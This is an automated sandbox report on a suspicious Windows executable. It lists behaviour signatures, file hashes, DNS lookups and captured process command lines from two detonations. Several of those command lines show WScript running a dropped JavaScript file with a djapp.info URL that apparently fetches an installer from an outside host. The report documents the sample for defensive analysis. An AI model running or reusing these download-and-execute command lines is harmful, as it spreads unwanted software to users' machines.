Malware Analysis Report

2024-10-16 06:30

Sample ID 240613-sc3cystdmb
Target a625c5fe339b5579ddcb71042d6a05ae_JaffaCakes118
SHA256 0bd28c014b4542db7f93db6de1a473d7d5c418e2e91738ffe93893dddac2083c
Tags
execution
score
7/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
7/10

SHA256

0bd28c014b4542db7f93db6de1a473d7d5c418e2e91738ffe93893dddac2083c

Threat Level: Shows suspicious behavior

The file a625c5fe339b5579ddcb71042d6a05ae_JaffaCakes118 was found to be: Shows suspicious behavior.

Malicious Activity Summary

execution

Checks computer location settings

Unsigned PE

Command and Scripting Interpreter: JavaScript

Enumerates physical storage devices

Program crash

Suspicious use of WriteProcessMemory

Modifies registry class

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-06-13 14:59

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-13 14:59

Reported

2024-06-13 15:02

Platform

win7-20240419-en

Max time kernel

144s

Max time network

144s

Command Line

"C:\Users\Admin\AppData\Local\Temp\a625c5fe339b5579ddcb71042d6a05ae_JaffaCakes118.exe"

Signatures

Command and Scripting Interpreter: JavaScript

execution

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1964 wrote to memory of 2972 N/A C:\Users\Admin\AppData\Local\Temp\a625c5fe339b5579ddcb71042d6a05ae_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 1964 wrote to memory of 2972 N/A C:\Users\Admin\AppData\Local\Temp\a625c5fe339b5579ddcb71042d6a05ae_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 1964 wrote to memory of 2972 N/A C:\Users\Admin\AppData\Local\Temp\a625c5fe339b5579ddcb71042d6a05ae_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 1964 wrote to memory of 2972 N/A C:\Users\Admin\AppData\Local\Temp\a625c5fe339b5579ddcb71042d6a05ae_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 1964 wrote to memory of 2772 N/A C:\Users\Admin\AppData\Local\Temp\a625c5fe339b5579ddcb71042d6a05ae_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 1964 wrote to memory of 2772 N/A C:\Users\Admin\AppData\Local\Temp\a625c5fe339b5579ddcb71042d6a05ae_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 1964 wrote to memory of 2772 N/A C:\Users\Admin\AppData\Local\Temp\a625c5fe339b5579ddcb71042d6a05ae_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 1964 wrote to memory of 2772 N/A C:\Users\Admin\AppData\Local\Temp\a625c5fe339b5579ddcb71042d6a05ae_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 1964 wrote to memory of 1268 N/A C:\Users\Admin\AppData\Local\Temp\a625c5fe339b5579ddcb71042d6a05ae_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 1964 wrote to memory of 1268 N/A C:\Users\Admin\AppData\Local\Temp\a625c5fe339b5579ddcb71042d6a05ae_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 1964 wrote to memory of 1268 N/A C:\Users\Admin\AppData\Local\Temp\a625c5fe339b5579ddcb71042d6a05ae_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 1964 wrote to memory of 1268 N/A C:\Users\Admin\AppData\Local\Temp\a625c5fe339b5579ddcb71042d6a05ae_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe

Processes

C:\Users\Admin\AppData\Local\Temp\a625c5fe339b5579ddcb71042d6a05ae_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\a625c5fe339b5579ddcb71042d6a05ae_JaffaCakes118.exe"

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf18FD.js" http://www.djapp.info/?domain=DcoltuCzCW.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf18FD.exe

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf18FD.js" http://www.djapp.info/?domain=DcoltuCzCW.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf18FD.exe

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf18FD.js" http://www.djapp.info/?domain=DcoltuCzCW.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf18FD.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 bi.downthat.com udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 bi.downthat.com udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 bi.downthat.com udp

Files

C:\Users\Admin\AppData\Local\Temp\fuf18FD.js

MD5 3813cab188d1de6f92f8b82c2059991b
SHA1 4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256 a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA512 83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-13 14:59

Reported

2024-06-13 15:02

Platform

win10v2004-20240508-en

Max time kernel

143s

Max time network

148s

Command Line

"C:\Users\Admin\AppData\Local\Temp\a625c5fe339b5579ddcb71042d6a05ae_JaffaCakes118.exe"

Signatures

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\a625c5fe339b5579ddcb71042d6a05ae_JaffaCakes118.exe N/A

Command and Scripting Interpreter: JavaScript

execution

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000_Classes\Local Settings C:\Users\Admin\AppData\Local\Temp\a625c5fe339b5579ddcb71042d6a05ae_JaffaCakes118.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2408 wrote to memory of 2180 N/A C:\Users\Admin\AppData\Local\Temp\a625c5fe339b5579ddcb71042d6a05ae_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2408 wrote to memory of 2180 N/A C:\Users\Admin\AppData\Local\Temp\a625c5fe339b5579ddcb71042d6a05ae_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2408 wrote to memory of 2180 N/A C:\Users\Admin\AppData\Local\Temp\a625c5fe339b5579ddcb71042d6a05ae_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2408 wrote to memory of 1608 N/A C:\Users\Admin\AppData\Local\Temp\a625c5fe339b5579ddcb71042d6a05ae_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2408 wrote to memory of 1608 N/A C:\Users\Admin\AppData\Local\Temp\a625c5fe339b5579ddcb71042d6a05ae_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2408 wrote to memory of 1608 N/A C:\Users\Admin\AppData\Local\Temp\a625c5fe339b5579ddcb71042d6a05ae_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2408 wrote to memory of 2792 N/A C:\Users\Admin\AppData\Local\Temp\a625c5fe339b5579ddcb71042d6a05ae_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2408 wrote to memory of 2792 N/A C:\Users\Admin\AppData\Local\Temp\a625c5fe339b5579ddcb71042d6a05ae_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2408 wrote to memory of 2792 N/A C:\Users\Admin\AppData\Local\Temp\a625c5fe339b5579ddcb71042d6a05ae_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2408 wrote to memory of 636 N/A C:\Users\Admin\AppData\Local\Temp\a625c5fe339b5579ddcb71042d6a05ae_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2408 wrote to memory of 636 N/A C:\Users\Admin\AppData\Local\Temp\a625c5fe339b5579ddcb71042d6a05ae_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2408 wrote to memory of 636 N/A C:\Users\Admin\AppData\Local\Temp\a625c5fe339b5579ddcb71042d6a05ae_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2408 wrote to memory of 3592 N/A C:\Users\Admin\AppData\Local\Temp\a625c5fe339b5579ddcb71042d6a05ae_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2408 wrote to memory of 3592 N/A C:\Users\Admin\AppData\Local\Temp\a625c5fe339b5579ddcb71042d6a05ae_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe
PID 2408 wrote to memory of 3592 N/A C:\Users\Admin\AppData\Local\Temp\a625c5fe339b5579ddcb71042d6a05ae_JaffaCakes118.exe C:\Windows\SysWOW64\WScript.exe

Processes

C:\Users\Admin\AppData\Local\Temp\a625c5fe339b5579ddcb71042d6a05ae_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\a625c5fe339b5579ddcb71042d6a05ae_JaffaCakes118.exe"

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufE1D4.js" http://www.djapp.info/?domain=DcoltuCzCW.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fufE1D4.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4268,i,18168883380598738769,14202261231630113808,262144 --variations-seed-version --mojo-platform-channel-handle=4300 /prefetch:8

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufE1D4.js" http://www.djapp.info/?domain=DcoltuCzCW.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fufE1D4.exe

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufE1D4.js" http://www.djapp.info/?domain=DcoltuCzCW.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fufE1D4.exe

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufE1D4.js" http://www.djapp.info/?domain=DcoltuCzCW.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fufE1D4.exe

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufE1D4.js" http://www.djapp.info/?domain=DcoltuCzCW.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fufE1D4.exe

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 2408 -ip 2408

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2408 -s 1444

Network

Country Destination Domain Proto
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 bi.downthat.com udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 www.djapp.info udp
US 8.8.8.8:53 www.djapp.info udp

Files

C:\Users\Admin\AppData\Local\Temp\fufE1D4.js

MD5 3813cab188d1de6f92f8b82c2059991b
SHA1 4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256 a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA512 83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76